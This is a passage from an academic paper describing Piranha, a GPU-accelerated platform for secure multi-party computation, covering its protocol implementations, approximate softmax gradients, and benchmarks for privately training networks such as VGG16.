GPU processing. The ability to define iterators and execute
kernels over non-contiguous memory allows Piranha to avoid
any additional memory allocation.

In contrast, Piranha uses iterator-based views to allow
access to non-contiguous data elements in strides. Figure 2b
demonstrates an memory-optimized version of CarryOut
leveraging this ability. For each round, the protocol defines
two iterators, one for every even element (yellow values),
and one for every odd element (blue values), and uses those
as the basis for executing a kernel computing the next
values of the propagation bit. The iterators are input to a
pairwise comparison kernel that would otherwise expect data
marshalled into a specific contiguous layout, allowing for
efficient computation entirely without data movement.

Furthermore, we can reuse the first iterator to store the re-
sults in the original allocated buffer, resulting in no additional
data copies or memory allocation. Since the entire bitwise vec-
tor is allocated until the end of the protocol, we continue to use
(increasingly less of) it to store intermediate results until the
final carry bit is calculated. Finally, templating allows the bit-
vectors to use smaller datatypes (say uint8_t) compared to the
datatypes used in the secure computation (say uint64_t), thus
minimizing the memory footprint they require on the GPU.

4.3 Reusable protocol components
The structure of Piranha supports reusing protocol implemen-
tations, so that protocols can build on other implementations
in a number of ways. For instance, a new protocol for
secure comparison that operates in the same setting as
another implemented protocol in Piranha can focus solely on
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implementing the secure comparison functionality and inherit
the rest from the existing share type in Piranha. This also
helps in maintaining the compatibility at the application layer.

Another reusable component of Piranha is the implemen-
tation of share agnostic functionalities. For example, this in-
cludes protocols that have been proven secure in the arithmetic
black box model FABB [26]. Such protocols are specified ag-
nostic to the specific adversarial model and remain the same as
long as the basic operations are performed securely in the spe-
cific adversarial model. A number of cryptographic primitives
and functionalities are proven secure in this model [34, 52, 56].
Piranha allows such methods to be generically implemented
once at the protocol level, alongside protocol-specific function-
ality, and can then be inherited by any other implementation.
As two examples, we implement a state-of-the-art comparison
protocol by Makri et. al. [56] and a protocol for approximate
square-root and inverse computation based on [88].

Secure comparison. We use secure comparison as an example
of implementing a method in the arithmetic black box model.
The comparison protocol uses edaBits [34] as preprocessing
material to efficiently compute a comparison of secret values.
An edaBit is a secret sharing of a random value and the bit
decomposition of the same value as boolean shares i.e.,

edaBit : [r]M,[r0]2,[r1]2,···,[rm]2 where r $←−ZM (2)

where m+ 1 = log2 M. The protocol for generating this can
be found in [34]. The problem of secure comparison over
arithmetic secret-sharing can then be converted to a secure
comparison over boolean secret-sharing using the edaBit.
The latter can then be implemented efficiently using bitwise
operations such as CarryOut [5]. Details of this operation are
presented in Section 4.2.

Approximate computations. The privacy-preserving neural
network application we implement requires a pair of specific
protocols for the normalization layers: secure integer division
and secure computation of a square root. MPC protocols for
these primitives typically require approximate computation
using Newton’s methods. We write a generic functionality
based on the protocols from [74, 88] where we find the
nearest power of two for each input value and then evaluate
a fixed-point Taylor series polynomial approximation. We
use a simple Python script to compute polynomials of a given
degree that approximate each target function, in this case, sqrt
and inverse. These functionalities are then implemented and
used across different protocols. Specifically, Piranha uses the
following approximations:

sqrt(x)=0.424+0.584(x)

1/x=4.245−5.857(x)+2.630(x2)
(3)

These approximations achieve an L1 error of 0.00676 and
0.02029, respectively, for x between 0.5 and 1.

4.4 MPC protocols
We implement three different MPC protocols to demonstrate
Piranha’s generality at the protocol layer: a 2-party implemen-
tation based on SecureML [60], a 3-party implementation built
upon Falcon [88], and a 4-party protocol [23]. We briefly de-
scribe each of these protocols below, and prefix them with “P-”
to indicate they are implementations accelerated by Piranha.

Two-party protocol (P-SecureML). In 2017, Mohassel and
Zhang [60] proposed a 2-party (and a trusted third party
variant) protocol for privacy-preserving machine learning,
using a 2-out-of-2 arithmetic secret sharing as the basis for
its functionality. The linear layers are computed using Beaver
triples and the non-linear layers are evaluated with garbled
circuits. In our implementation, we replace the expensive
GC-based evaluation of ReLUs with a more recent and
efficient comparison protocol using edaBits [34, 56].

Three-party protocol (P-Falcon). We build a 3-party
protocol using the work of Wagh et. al. [88]. It uses a
2-out-of-3 replicated secret-sharing as the basis for its
functionality. The linear layers are performed using local
multiplications and resharing, a technique used in many
other 3PC frameworks [9, 36, 59]. The non-linear layers are
computed using a specialized comparison protocol building
upon [86]. Once again, we replace the comparison protocol
using the more efficient work by Makri et. al. [56].

Four-party protocol (P-FantasticFour). Our 4-party imple-
mentation follows the work of Dalskov et. al. [23]. It uses
3-out-of-4 replicated secret sharing: linear layers are per-
formed using a generalization of the replicated secret sharing
approach, thus using a combination of local multiplications
and resharing (known as joint message passing and INP in
the work and similar to [49]). For comparison (probabilistic
truncation), the protocol uses a combination of [33] and [49].

5 Application Layer
Our final layer of abstraction is the neural network layer. This
interface is guided by the types of the deep learning archi-
tectures we wish to support. Currently, Piranha implements
protocol-agnostic versions of the following layers in full
generality [6, 11]:

(1) Linear layers: Convolution and fully-connected layers

(2) Pooling operations: Maxpool and averagepool

(3) Activation functions: ReLU

(4) Normalization: Layer normalization

Layers use the popular Kaiming weight initialization [40].
Any neural network architecture that is composed of these
layers can be run using Piranha. This covers a large class
of popular networks used in computer vision - from simple
multi-layer perceptrons like SecureML [60] to more complex
convolutional neural networks such as AlexNet [51] and
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matmul(...) Matrix multiplication of two matrices.

convolution(...) Convolution of two tensors.

maxpool(...) Compute the maximum of set of values.

truncate(...) Truncate i.e., divide shares by power of 2.

reconstruct(...) Opening of secret shares.

selectShare(...)
Select one out of two shares given a

boolean secret shared value.

comparison(...) Compare two shares.

sqrt(...) Compute an approximate square root.

inverse(...) Compute an approximate fixed-point inverse.

Table 1: Functionalities required by the NN training applica-
tion, implemented by each class in Piranha’s protocol layer.

VGG16 [78]. In our evaluation in Section 6, we compare
Piranha to the networks used in prior works [79, 88].

5.1 Interfacing the neural network library
As discussed in Section 5, we focus on the secure evaluation
of neural network models as our target application. To support
the neural network library over multiple MPC protocols, we
require each MPC protocol to implement a common set of
functionalities. Once this set is implemented, the protocol
can support training and inference over any neural network
architecture constructed with the supported layers. This
required set of MPC functionalities is given in Table 1.

Listing 3 shows a simplified look at the forward pass of a
fully connected layer. The functionality simply takes a batch
of inputs, multiplies them with the layer weights and adds
the layer’s bias to compute the activations. The forward pass
implementation is protocol-agnostic in that it can be templated
with any given Share type (e.g. from Listing 2’s RSS share)
and requires only that the required functionality matmul be
implemented by that protocol.

5.2 Secure training of neural networks
Training neural networks, especially larger and deeper
networks presents a number of challenges. In order to
demonstrate learning, we face three major challenges:

(1) Back propagation gradients are frequently much smaller
than the remaining activations and must be preserved by
the finite precision available in fixed-point integers.

(2) The quality of the gradients can also significantly affect
the training process. Ensuring that the final layer gradient
computation is accurate has a significant impact on how
well the network trains. Inaccuracies are compounded by
linear layers, which yield approximate values due to each
multiplication performed with finite precision arithmetic.

(3) Closely related to the previous issue is the stability
of the final layer gradients. As the network trains, the
magnitudes of the final layer activations grow in size.

Listing 3 Protocol-agnostic implementation of a fully-
connected neural network layer. Any protocol class, such as
theRSS class in Listing 2, that implements the desiredmatmul
functionality can be used to compute the forward pass.
 // Fully connected layer forward pass
 template<typename Share>
 void FCLayer<Share>forward(Share input) {
 matmul(input, this->weights,
 this->activations, ...);
 this->activations += this->bias;
 }

Figure 3: Our new approximate computation of last layer
gradients that stabilize the learning process.

Softmax [31] computations to generate the needed
gradients (which involve an exponentiation) can quickly
exceed the size of the data type, yielding an overflow and
destabilizing the learning process.

We showcase in Section 6 that privately training neural net-
works is indeed possible for large networks with over 100
million parameters. We use fixed-point arithmetic to encode
real numbers for neural network experiments. For private infer-
ence, we observe that the neural network can be run over 32-bit
data-types with a fixed-point precision of 13 bits. However, for
private training, to retain the gradients with sufficient precision,
we use 64-bit data types with 20 or more bits of fixed-point pre-
cision, with deeper network depths requiring higher precision
(Section 6.4). Finally, to address latter challenges, we propose a
new gradient computation function. Our gradient computation
has two main advantages: it is more stable to large activations,
and it is MPC-friendly. The first is achieved because we approx-
imate the exponential with a function that does not increase the
magnitude of the secret-shared values. The second is achieved
by using only comparisons, which significantly reduces the
round complexity of the computation.

Gradient Computations. In order to compute the gradients
for the backward propagation [41], we apply a softmax
coupled with the cross-entropy loss function. Suppose the
output of the last layer is x=(x0,···,x9), and y=(y0,···,y9) is
a one hot encoding of the true label, then the loss function (per
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image) is given by:

`=−∑
i

yilogpi where pi=
exi

∑ jex j
(4)

The gradient is then given by:

∇i=
∂`

∂xi
= pi−yi (5)

While there are a few different ways to compute this
gradient [48], they do not solve the challenges mentioned
above, which are critical when training is performed on larger
networks and datasets. Note that the softmax function remains
the same if the logits pi are computed using the activations
xi− xmax where xmax = max(x1,··· ,xk) if k is the number of
classes. In other words,

pi=
exi−xmax

∑
k
j=1ex j−xmax

(6)

We propose a new function computation to approximate the
above computation (Eq. 6):

pi≈appExp(xi−xmax)/
k

∑
j=1

appExp(x j−xmax) (7)

where appExp(·) is the approximate exponential function
as shown in Fig. 3. We compute the inverse in plaintext
using a functionality similar to FALCON. To preserve the
long tail of the exponential, we add a small bias of 10−3 to
each component of appExp(·). Note that this function is (1)
relatively easy to compute within MPC, and (2) preserves (i.e.,
does not increase) the magnitude of the activations. These
factors make the gradient computations using this function
stable from the machine learning perspective.

6 Evaluation
In our evaluation, we answer the following questions:

(1) In comparison to state-of-the-art, CPU-based prior work,
how well does Piranha accelerate the same computation
tasks? (Section 6.2)

(2) Can Piranha be used to successfully and securely train
large neural networks (e.g. over 100 million parameters)
in a reasonable amount of time? (Sections 6.3 and 6.4)

(3) What are Piranha’s computation and communication
costs in LAN and WAN environments? (Section 6.5)

(4) How well does Piranha manage constrained GPU
memory and how well does its memory-conscious design
improve scalability at the application layer? (Section 6.6)

(5) How does the runtime performance of privacy-preserving
inference and training, supported by Piranha’s protocol-
agnostic acceleration, compare with prior work on
targeted protocols? (Section 6.7)

6.1 Evaluation set-up
We run our experiments over similar hardware and networking
environments as prior works [23, 60, 88]. For CPU-based
implementations, we use Azure F32s_v2 instances with Intel
Xeon Platinum 8272CL @ 3.4GHz processors and 64 GB
of RAM. Networked experiments are executed in a LAN
setting with a bandwidth of 10 Gbps and ping time of 0.2 ms.
GPU-based experiments are run on Azure NC6s_v3 instances
with 6-core Intel Xeon E5-2690 v4 CPUs with 112 GB RAM
and Nvidia Tesla V100 GPUs with 16 GB RAM.

We add matrix multiplication and convolution kernels for
large integer types by building on CUTLASS [4], at commit
0f10563, to which we add support for 32- and 64-bit integer
matrix multiplication and convolution. We use the default
tiling parameters, while element-wise kernels are parallelized
using Thrust [62].

Baseline. As a baseline, we compare against protocol
implementations from MP-SPDZ [28, 45] at commit e6dbb4.
MP-SPDZ is a state-of-the-art open-source secure com-
putation platform with over 34 protocols and represents a
CPU-based analog to Piranha. For each MPC protocol that we
implement, we choose a state-of-the-art protocol implemented
by MP-SPDZ in the same setting: individual operations are
benchmarked in Section 6.2 with the 2-party semi2k, 3-party
replicated-ring, and 4-party rep4-ring protocols. Each of these
implementations operate on a single CPU core. We focus eval-
uating Piranha’s performance in the data-dependent “online”
phase, as offline generation of data-independent components
such as Beaver triples [60] or edaBits [34] can be easily
parallelized independently from a particular computation.

Models and Datasets. We evaluate our high-level neural
network library with four neural network architectures:
SecureML [60], a simple 3-layer network, and LeNet [53],
a 5-layer convolutional network, over MNIST [58], and
AlexNet [51], an 8-layer convolutional network, and
VGG16 [78], a 16-layer convolutional network, over the
CIFAR10 dataset [50]. While Piranha fully supports the use
of maxpool layers in these architectures, as in CryptGPU [79],
we substitute them with averagepool layers to maintain
comparative accuracy. Notably, averaging operations are
significantly less expensive than max operations in each
Piranha-accelerated protocol, as summation requires only
a locally-computed linear combination of secret shares
while oblivious comparison incurs a logarithmic number of
communication rounds among the parties.

6.2 Comparison vs. CPU Implementations
In this section, we compare the performance of Piranha with
state-of-the-art CPU-based protocols over a set of MPC work-
loads. For each protocol discussed in Section 4.4, we execute
individual operations commonly used by a secure neural
network application – matrix multiplications, convolutions,
and ReLU comparisons – and compare against the same
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Convolution
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Figure 4: The figures benchmark secure protocols for matrix multiplication, convolutions, and ReLU across 2-, 3-, and 4-party
protocols for various sizes of these computations. Piranha consistently improves the run-time of these computations, with
improvements as large as 2-4 orders of magnitude for larger computation sizes.

operations computed using MP-SPDZ [28] with protocols
in the same setting, as described in Section 6.1. In general,
our results find that Piranha’s acceleration can improve
performance by 2-3 orders of magnitude for these important
MPC functionalities. Figure 4 summarizes the results for each
these operations as a function of various problem sizes.

We evaluate matrix multiplication performance by multiply-
ing two N×N matrices for logarithmically-increasing values
of N. Considering small matrices of dimension N=10, where
platform overhead such as data transfer to the GPU is most
likely to have an out-sized impact on overall performance, we
find that using Piranha results in a performance benefit of 6
to 60× in the four- or two-party settings, respectively. Like-
wise, as the problem size increases, so does the impact of GPU
acceleration on runtime. For the largest matrix multiplication
benchmarks with N=300, Piranha’s 3- and 4-party protocols

improve on the CPU-based MP-SPDZ implementations by 2 or-
ders of magnitude, while P-SecureML shows a 4 order of mag-
nitude improvement over MP-SPDZ’s semi2k implementation.

For the convolutions, we benchmark problems in order
of increasing complexity. Each convolution layer is param-
eterized by a [iw, cin, cout, f ] tuple, where iw is the input
image dimension, cin and cout are the number of input and
output channels, respectively, and f is the filter size. We
use the total number of multiplications as a proxy for layer
complexity (the complexity of the resulting unrolled matrix
multiplication). The specific convolutions we compute are
listed in Figure 4, ranging in complexity from 1.47×107 to
1.86×109 multiplications. Similar to the matrix multiplication
benchmarks, Piranha shows a significant improvement in
performance, performing on average 175 and 73× better in
the 3- and 4-party setting, respectively. Piranha is much faster
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Network
(Dataset) Protocol Time

(min)
Comm.
(GB)

Accuracy

Train (%) Test (%)

SecureML
(MNIST)

P-SecureML 12.99 49.55 97.37 96.56
P-Falcon 7.51 22.84 97.37 96.56
P-FantasticFour 23.39 33.01 97.37 96.56

LeNet
(MNIST)

P-SecureML 87.55 683.18 96.78 96.80
P-Falcon 71.56 485.90 96.88 97.10
P-FantasticFour 219.20 676.13 96.88 97.11

AlexNet
(CIFAR10)

P-SecureML 156.01 740.50 40.74 40.47
P-Falcon 110.66 382.18 40.59 40.71
P-FantasticFour 296.57 533.74 40.97 40.14

VGG16
(CIFAR10)

P-SecureML 3822.84 35454.91 55.02 54.35
P-Falcon 1979.92 17235.35 55.13 54.26
P-FantasticFour 7697.54 29106.24 55.02 54.35

Table 2: Time and communication costs for completing 10
training iterations over four neural network architectures, for
each of Piranha’s MPC protocol implementations. We are
the first work to demonstrate end-to-end secure training of
VGG16, a network with over 100 million parameters.

than the MP-SPDZ 2-party semi2k implementation, achieving
a speed up of 3 orders of magnitude, on average.

Finally, ReLU operations are benchmarked over N-element
vectors of logarithmically increasing size. For small vectors
of N = 10 vectors, Piranha improves on each CPU-based
protocol by between 1.3 and 5.5×, again seeing modest gains
due to overhead dominating the relatively simple computation.
For large vector sizes, we show extensive gains by applying
GPU acceleration. Figure 4 shows between a 300 and 1380×
speedup across MPC protocols over large ReLU inputs, com-
pleting 90 second CPU-based operations in less than a second.

6.3 Secure Training of Neural Networks
No prior work has successfully trained, within secure
computation, a network such as VGG16, which over CIFAR10
has over 100 million learnable parameters. While existing
work has estimated the time to train such a network, the
training times are prohibitively large – over 14 days [88] to
complete 10 training epochs. This work is the first to securely
train such a neural network, in less than a day and a half: our
results are detailed in Table 2.

We train each network with each protocol Piranha currently
supports for 10 epochs with 128-image batches. For each
training run, we report the total training time and per-party
communication. Every training pass used the MPC-friendly
softmax replacement we propose in Section 5; over every
network architecture we evaluate, our approximation remains
stable and allows the networks to train successfully. To
ensure that even small gradients can backpropogate through
each networks and train a useful model, we vary the level of
fixed-point precision: we train the shallow SecureML with 20
bits of fixed-point precision, LeNet and AlexNet with 23 bits,
and VGG16 with 26 bits of precision. We further discuss how
fixed-point precision impacts model accuracy in Section 6.4.

On a small dataset like MNIST, Table 2 shows thatPiranha’s

neural network training library can quickly train SecureML
and LeNet, achieving greater than 96% test accuracy in no
more than 2 hours with P-Falcon and P-SecureML, compared
to approximately 97% and 98% accuracy, respectively, when
trained in plaintext. For larger networks, the cost of privacy-
preserving matrix multiplication dominates the overall run-
time [88]. This explains why P-FantasticFour generally takes 2
to 3× longer for the same training pass, because the 4-party pro-
tocol requires 7 local matrix multiplication operations for every
privacy-preserving matrix multiplication, compared to only 3
local multiplications for the 3-party P-Falcon implementation.

On the larger CIFAR10 dataset, training times increase
significantly but remain feasible. Over AlexNet, all protocols
can successfully complete their training runs in under 5 hours,
achieving 40% test accuracy over that time. We observed a
59% accuracy when training the same model in plaintext (note
that an untrained network/random guessing achieves a 10%
accuracy given that there are 10 classes). When considering
VGG16, the largest network Piranha trains over, training
times are considerable: P-SecureML and P-FantasticFour
require 2 and 5 days, respectively, to complete. Importantly,
however, we can complete 3-party VGG16 training in only 33
hours with 54% test accuracy (compare to 67% test accuracy
in plaintext on the same model), which prior work estimated
to take 14 days but did not actually execute the training [88].

These training times are only possible due to two main
factors. First, improved computation times (through the
use of GPU-accelerated kernels) reduces the overhead of
matrix multiplication and convolution, whose costs grow
super-quadratically with their dimensions, and are a significant
part of the total runtime. The second is the ability to train over
large batch sizes. Large batch sizes improve the efficiency of
the stochastic gradient descent algorithm, and runtime scales
better with batch sizes. Thus, a batch size of 128 has a lower
run-time than computing over two 64-image batches.

6.4 Impact of Fixed-point Precision
For deeper networks, we observe that gradients reaching the
initial layers routinely approach 2−20, and are further reduced
by the current learning rate. If the fixed-point precision used by
the network is not selected carefully, parameter update gradi-
ents will approach the minimum value Piranha can represent,
yielding imprecise results and barring the model from training
correctly. Figure 5 quantifies what precision is necessary
to train each network, showing the final test accuracy after
10-epoch P-Falcon training runs at increasing amounts of pre-
cision from 10 to 26 bits. There is a clear distinction between
precisions at which each network fails to train and those that
allow the networks to do better than random guessing. While
13 bits of precision are sufficient for private inference, even
SecureML cannot begin to train until more than 14 bits of pre-
cision are used. For the deeper networks, AlexNet and VGG16,
which see very small gradients by the end of backpropagation,
a higher precision (at least 22 and 24 bits, respectively) is
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Figure 5: Test accuracy as the fixed-point precision increase
for each network architecture, after 10 training epochs using
P-Falcon. The dashed line indicates the baseline accuracy
when randomly guessing. Sharp increases in training accuracy
indicate that the model now has enough precision to fully
backpropagate gradients.

needed. More importantly, these results indicate that computa-
tion over 64-bit integers is not just desirable for secure training
of large networks but in fact, necessary. In addition, as the size
and depth of MPC-trained models increases, the amount of
fixed-point precision necessary will likely grow as well, or
the use of adaptive fixed-point computation may be necessary.

6.5 Computation and Communication Cost

We measure Piranha’s ratio of computation time (time spent
performing GPU-accelerated local computation) to network
overhead (time spent waiting for other parties) in Figure 6 for
both LAN and WAN settings. In the LAN setting, all parties
executed on GPUs in the same datacenter, with approximately
1.5 ms of observed latency, while in the WAN setting, we run
the parties in datacenters in different geographic locations
with 60ms of latency in between. When the network is fast,
so is the end-to-end runtime: Piranha completes training
iterations over each network architecture in∼3 seconds or less
over LAN but takes up to 40 seconds over WAN to perform
a 4-party training iteration for VGG. We note that the raw time
spent on local computation is the same in both settings, but
the computation-communication ratio is very different. We
observed that parties in the LAN setting spent between 15%
and 60% of the time on compute (on Secure ML and VGG16,
respectively), while in comparison, parties in the WAN setting
never spent more than 6% of their time on computation.
Piranha inherits its communication behavior from the protocol
that it is accelerating, and so it does not fundamentally alter
the network overhead that would be observed. It is likely that
future protocols performing increased computation in favor of
minimizing communication [83, 84] would see a large benefit
from executing on Piranha in a WAN setting.

Figure 6: Computation and communication overhead for
private training iterations in LAN and WAN settings. Piranha
significantly accelerates local computation on a GPU, resulting
in communication costs dominating overall runtime as latency
between parties and network size increases.

Network
(Dataset)

k Memory usage for Private Training (MB)

P-SecureML P-Falcon P-FantasticFour

SecureML
(MNIST)

1 319 325 331
64 321 327 335

128 325 331 339

LeNet
(MNIST)

1 437 461 481
64 535 577 651

128 661 749 897

AlexNet
(CIFAR10)

1 507 603 675
64 531 649 743

128 585 689 805

VGG16
(CIFAR10)

1 629 847 1027
64 3017 3927 5481

128 5505 7207 10197

Table 3: The maximum memory usage of a secure training
pass (forward and backward pass) for various MPC protocols
and network architectures. Piranha’s memory efficient design
enables running large networks such as VGG16 with a batch
size of 128 where prior works have been limited to 32 [79].

6.6 Memory Efficiency
Commodity GPUs, including those we use to evaluatePiranha,
are commonly constrained to 16GB of memory. We evaluate
how effectively Piranha manages this memory constraint by
tracking peak memory usage over training passes. When all
other parameters are the same (protocol, computational task,
and GPU hardware), prior work can only execute over batch
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(a) (b) (c)

Figure 7: Memory footprint over a VGG16 forward pass. Each point is a snapshot of the total GPU memory allocation (in MB)
at each memory operation (allocation or de-allocation). Figure 7a corresponds to a naive GPU implementation, Figure 7b measures
the footprint after iterator-based optimizations, and Figure 7c after efficiently sizing bit-containing data structures.

sizes of 32 [79]. This section shows how careful memory
management directly translates to executing neural network
training over significantly larger batch sizes on a single GPU
than has been previously possible.

We illustrate the benefits of two main memory-based mod-
ifications we discussed in Section 4.2 in reducing our memory
footprint. We consider threePiranha versions: (1) a naive com-
putation approach with large uniform data types and minimal
in-place computation, (2) an iterator-based implementation
that seeks to avoid memory allocation when at all possible,
and (3) a version that correctly sizes data types to minimize
wasted memory (e.g. in the case of secret-shared bits). For
each version, Figure 7 tracks on-GPU memory usage for
P-Falcon, updated after every (de)allocation, during a VGG16
forward pass with an input batch size of 4. We also measure
the maximum VGG16 batch size that Piranha can support
with on-GPU memory, and total runtime and peak memory
footprint with a batch size of 32 to compare between versions.
Peak memory footprint indicates the amount of temporary
allocations necessary at runtime, which can significantly strain
the GPU’s available memory and preclude larger batch sizes.

Figure 7a shows the memory allocation trace for the
naive P-Falcon implementation described in Figure 2(a),
which requires a significant amount of data allocation while
executing ReLU comparisons, where secret-shared values are
expanded into bitwise format. Driven by the initial network
layers with larger inputs, the peak GPU memory load is 2.28
GB, a 7× increase over the allocation required for the network
itself (345 MB). The total number of memory operations is
high: almost 16,000 such allocations and frees are performed
over the course of the computation. During a 32 batch size run,
this approach can complete a training iteration in 27 seconds
with a peak memory footprint of 14.9 GB, or 93% of available
GPU memory.

Figure 7b shows the results of an improved iterator-based
implementation that operates over views of already-allocated
shares, without incurring additional memory load. In-place
computation yields significant memory savings: for batches

of 4 images, the iterator-based Piranha version requires only
1.38 GB at its peak compared to the base implementation
of Figure 7a. The number of GPU memory operations also
drops, resulting in almost 4× less allocations and frees during
the network’s inference pass. However, even with these
optimizations, the measured peak memory usage of over 1 GB
in Figure 7b would not support training runs over 128-image
batches. Similar to the naive implementation, the maximum
batch size the iterator-based version can train with is 32, but
only incurs a maximum memory footprint of 8.9 GB, an
approximately 60% improvement. Execution time increases
slightly to 35 seconds per pass, which we suspect is due to the
inherent cost of non-contiguous and indirect memory access.

In Figure 7c, we evaluate the impact of sizing memory
appropriately for data at the protocol layer. In the previous
versions analyzed above, the bitwise expansion used in our
ReLU comparison protocol remained a major source of
memory blowup, as bit values were each stored into a full
64-bit values. Modifying Piranha protocols to closely match
the size of allocated values with their logical sizes significantly
cuts the peak memory usage in Figure 7c by a factor of 2, to
581 MB, or only 250 MB above the baseline model memory
requirements. This has an outsized effect on training execution
time, as smaller data types require less communication overall:
with this change,Piranha can support P-Falcon-based training
iterations with a batch size of 256 in just 7.6 seconds, with a
maximum memory footprint of 1.8 GB.

Finally, Table 3 shows peak GPU memory usage forPiranha
over all networks as it performs training passes using the proto-
cols we implemented on Piranha. For SecureML in particular,
the baseline memory used by the network parameters domi-
nates any temporary memory requirements, as the peak mem-
ory use only grows by 6 MB between runs over batches of 1
image and 128 images. As expected, P-FantasticFour exhibits
larger increases in peak memory use as batch size increases,due
to the increased number of local shares it must maintain for each
secret-shared value, proportionally increasing memory load.
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Model
(Dataset)

Private Inference Private Training

Falcon CryptGPU P-Falcon Falcon CryptGPU P-Falcon

Ti
m

e
(s

)

LeNet
(MNIST) 0.038 0.380 0.031 14.9 2.21 0.888

AlexNet
(CIFAR10) 0.110 0.910 0.131 62.37 2.910 1.419

VGG16
(CIFAR10) 1.440 2.140 0.469 360.83 12.140 7.473

C
om

m
.(

G
B

) LeNet
(MNIST) 2.29 3 2.492 0.346 1.14 0.417

AlexNet
(CIFAR10) 4.02 2.43 1.960 0.621 1.37 0.581

VGG16
(CIFAR10) 40.05 56.2 88.39 1.78 7.55 4.261

Table 4: We compare the run-times for private training
and inference of various network architectures with prior
state-of-the-art works over CPU and GPU. Falcon and
CryptGPU values are sourced from [79] Table I. Private
inference uses batch size of 1, training uses 128 for LeNet,
AlexNet and 32 for VGG16. For smaller computations (private
inference), Piranha provides comparable performance to
CPU-based protocols. However, for larger computations
(private training), Piranha shows consistent improvement
between 16−48×, a factor that improves with scale.

6.7 Comparison with Prior Work
Finally, we compare the runtime and communication overhead
of Piranha relative to state-of-the-art protocols for neural
network training: a CPU-based implementation, Falcon [88],
and a GPU-based implementation, CryptGPU [79]. Both
protocols are fixed to a 3-party setting, while Piranha is
designed to support a general class of LSSS protocols. In this
section, we compare the performance of existing protocols
with Piranha’s equivalent 3-party P-Falcon implementation,
to evaluate whether the generality of Piranha’s design comes
at a performance cost.

We benchmark the run-time for a single training and
inference pass over 3 different networks – LeNet, AlexNet,
and VGG16. While we can support batch sizes of up to 128
on each of these networks, we scale down our computation
to provide an apples to apples comparison with prior work.
The results are presented in Table 4.

For private inference, where the forward passes use a
single input image (batch size of 1), the computation is not
large enough to fully benefit from GPU acceleration. Table 4
shows that Piranha achieves comparable performance to the
CPU-based FALCON for private inference over small networks,
but over the much larger VGG16 architecture,Piranha already
yields a 3× performance improvement.

GPU acceleration has a much stronger impact on private
training iterations, where the computation sizes are much
larger due to the increased batch size and the addition of
a backward pass over the network. Even on the smallest
architecture, LeNet, Piranha performs training iterations 16×
faster by leveraging a GPU, while on the larger architectures
we benchmark, we show between a 44-48× speedup.

In addition to evaluating the benefits of GPU acceleration,

Table 4 also quantifies whether Piranha incurs additional
overhead from supporting multiple protocol implementations,
compared to tools that integrate a specific MPC protocol
end-to-end like CryptGPU [21]’s 3-party implementation.
Considering private inference, Piranha is significantly faster,
showing approximately 12, 7, and 4× speedup on each of
LeNet, AlexNet, and VGG16, respectively. We also show
a performance advantage in computing training iterations,
with performance gains ranging from approximately 2.5×
on LeNet to 1.6× on VGG16. We attribute these constant
improvements to a few factors. First, Piranha’s direct use of
64-bit integer kernels avoids the repeated 16-bit floating point
multiplications that CryptGPU incurs. We do this at the cost of
using less powerful GPU integer cores and kernel implemen-
tations that must be emulated with 32-bit integer instructions.
Second, even though Piranha supports many different protocol
implementations, Table 4 shows that the negligible overhead
of our approach can yield the same or better performance
than single-protocol designs. Third, some portion of these
performance difference may be attributable to different
programming environments – Piranha is implemented in C++
while CryptGPU is implemented over PyTorch.

7 Related Work
In recent years, a number of new frameworks have been
proposed for privacy-preserving approaches to machine
learning. While most frameworks demonstrate a CPU-only
implementation, there are a few works that explore GPU
assisted computation. The two earliest works by Husted et.
al. [42] and Frederiksen and Nielsen [35] explore the use
of GPUs for improving secure computation using garbled
circuits and OT extensions. Delphi [57] uses GPUs to improve
the performance of linear components of the computation.
In a more recent work, CryptGPU [79] building on top of the
CrypTen framework [21] uses GPUs for the entire computation.
Recently, GForce [61] shows the benefits of GPU acceleration
for secure inference. In a somewhat related effort, cuHE [22]
and PixelVault [81] use GPUs for homomorphic encryption, se-
curing keys, and encryption operations. Visor [67] has looked
at using GPUs for secure computation over enclaves, while
Slalom [80] investigates NN inference on trusted hardware.

A number of general purpose frameworks have improved
the practical performance of MPC. In the dishonest majority
setting, a number of works [8, 19, 34, 46, 47, 73] improve
the performance of the original SPDZ protocols [25, 27].
Helen [93] proposes a system to train a linear model in a
dishonest majority setting. Poseidon [75] explores the use of
MPC techniques for federated learning in a similar corruption
model. A lot more frameworks propose new specialized
protocols and implementations in the semi-honest and honest
majority adversarial settings. Recent 2-party computation
frameworks include [43,44,55,57,60,63,70,71] that typically
look at protocols in the semi-honest setting. A number of
frameworks explore a 3-party setup with an honest majority
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corruption. This includes [18, 23, 49, 59, 64, 79, 82]. Similarly,
4-party computation frameworks include [17, 23, 49, 69].
Other proposed frameworks include [68, 92]. An entire line
of work improves the performance of garbled circuit based
approaches to secure computation. Recent advances include
as well as silent OT extension protocols such as [14,15,76,90].
Finally, our platform can be used to implement efficient
protocols for other applications such as sorting networks [20],
ORAMs [38, 85], and differential privacy [32, 87].

A number of libraries with varying infrastructures are open
sourced. MP-SPDZ and SCALE-MAMBA [7,45] implement a
number of protocols, including most of the dishonest majority
protocols. CrypTen [21] implements a few protocols over
PyTorch. Other popular libraries providing a number of useful
secure computation tools include [29, 72]. There also exist
open-source libraries for privacy-preserving machine learning
such as Rosetta and PySyft [1, 2], but no open source library
that enables general secure computation applications to benefit
from the use of GPUs or the development of new accelerated
protocols. Piranha can not only fill this gap, but reduce the
performance gap between plaintext and privacy-preserving
computation.

8 Conclusion
In this work, we propose Piranha, a platform for GPU-
accelerated MPC protocol development. Piranha contributes
three modular components: a device layer that manages
protocol memory on the GPU and accelerates MPC-specific
integer operations, a protocol layer where memory-efficient
in-place operations can be leveraged to fit the constrained GPU
environment, and an application layer for privacy-preserving
computation on any underlying protocol. Piranha’s modular
structure provides wide applicability for other projects to
use GPU acceleration without requiring expert knowledge.
To demonstrate that Piranha as a general-purpose platform
provides significant improvements in run-time through
GPU-based acceleration, we implement 3 different MPC
protocols for secure training of neural networks on top of
Piranha, resulting in a 16-48× performance improvement
over CPU-based implementations. Finally, using Piranha, we
are able to securely train a realistic neural network end-to-end,
with over 100 million parameters, in a little over a day.
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A Discussion, Limitations, and Future Work
We show in Section 6 that GPUs provide much-needed
performance acceleration for secure computation. Piranha’s
modular platform structure means that functional enhance-
ments made at any layer of the platform – from future
performance improvements in the GPU kernels to additional
MPC protocols or new privacy-preserving applications – can
immediately benefit other system components.
Device layer. The device layer separates protocols from the
GPU interface. Thus, acceleration of local operations, opti-
mizations, or entirely different methods of performing integer-
and fixed point-based calculations can be independently
developed. Even in its current state, Piranha’s integer kernels
are slower than their floating-point equivalents implemented
by popular libraries like cuBLAS [3], as they can take
advantage of features like tensor cores that focus exclusively
